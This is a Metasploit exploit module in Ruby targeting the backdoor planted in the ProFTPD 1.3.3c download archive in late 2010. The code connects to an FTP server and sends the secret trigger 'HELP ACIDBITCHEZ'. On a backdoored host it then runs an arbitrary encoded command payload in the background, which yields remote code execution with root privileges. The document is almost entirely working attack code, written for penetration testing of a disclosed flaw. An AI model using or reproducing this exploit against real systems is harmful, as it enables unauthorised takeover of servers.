ProFTPD-1.3.3c Backdoor Command Execution

`##  
# $Id: proftpd_133c_backdoor.rb 11210 2010-12-02 22:33:37Z mc $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::Ftp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'ProFTPD-1.3.3c Backdoor Command Execution',  
'Description' => %q{  
This module exploits a malicious backdoor that was added to the  
ProFTPD download archive. This backdoor was present in the proftpd-1.3.3c.tar.[bz2|gz]  
archive between November 28th 2010 and 2nd December 2010.  
},  
'Author' => [ 'MC', 'darkharper2' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 11210 $',  
'References' =>  
[  
[ 'BID', '45150' ],  
[ 'URL', 'http://sourceforge.net/mailarchive/message.php?msg_name=alpine.DEB.2.00.1012011542220.12930%40familiar.castaglia.org' ],  
],  
'Privileged' => true,  
'Platform' => [ 'unix' ],  
'Arch' => ARCH_CMD,  
'Payload' =>  
{  
'Space' => 2000,  
'BadChars' => '',  
'DisableNops' => true,  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic perl telnet',  
}  
},  
'Targets' =>  
[  
[ 'Automatic', { } ],  
],  
'DisclosureDate' => 'Dec 2 2010',  
'DefaultTarget' => 0))  
  
deregister_options('FTPUSER', 'FTPPASS')  
end  
  
def exploit  
  
connect  
  
print_status("Sending Backdoor Command")  
sock.put("HELP ACIDBITCHEZ\r\n")  
  
res = sock.get_once(-1,10)  
  
if ( res and res =~ /502/ )  
print_error("Not backdoored")  
else  
sock.put("nohup " + payload.encoded + " >/dev/null 2>&1\n")  
handler  
end  
  
disconnect  
  
end  
  
end  
`